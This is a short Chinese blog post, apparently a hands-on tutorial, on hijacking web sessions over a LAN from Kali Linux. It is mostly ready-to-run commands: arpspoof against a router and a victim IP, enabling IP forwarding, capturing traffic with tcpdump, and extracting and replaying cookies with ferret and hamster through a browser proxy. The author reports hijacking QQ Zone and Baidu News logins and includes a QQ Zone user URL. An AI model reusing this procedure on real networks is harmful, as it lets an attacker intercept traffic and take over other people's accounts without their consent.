kali下arp欺騙session會話劫持
阿新 • • 發佈：2019-01-02
開啟ettercap 或者arpspoof 進行arp欺騙（ettercap經常報錯ERROR 12 Cannot allocate memory，不知道怎麼解決哪位大神指教一下，求教）
命令：arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102
必須另外開啟終端echo 1>/proc/sys/net/ipv4/ip_forward進行IP流量轉發，不然被攻擊者無法上網
開啟一個命令列終端，輸入driftnet -i wlan0 測試下arp欺騙正常沒
tcpdump -i wlan0 -w text1.cap
讓受害者打開個郵箱或者微博等，不要關閉此命令列會一直監聽資料，再開啟新命令列
ferret -r text1.cap處理text1.cap資料，如果重新獲取新的會話重新執行此命令即可。然後在本命令列輸入：hamster
hamster：基於無線網路通過ferret抓包實現對Gmail等郵箱的劫持(sidejacking)開啟配置火狐瀏覽器的對應埠 開啟Preferences->Advanced->Network->Settings->Manual proxy
然後設定下 127.0.0.1 埠1234 瀏覽器瀏覽http://hamster
點選開啟即可直接登陸，比如qq空間
http://user.qzone.qq.com/136349117 不要開啟那些資原始檔連結，類似這樣的無後綴，親測百度新聞、qq空間可以劫持
參考 http://www.freebuf.com/sectool/39050.html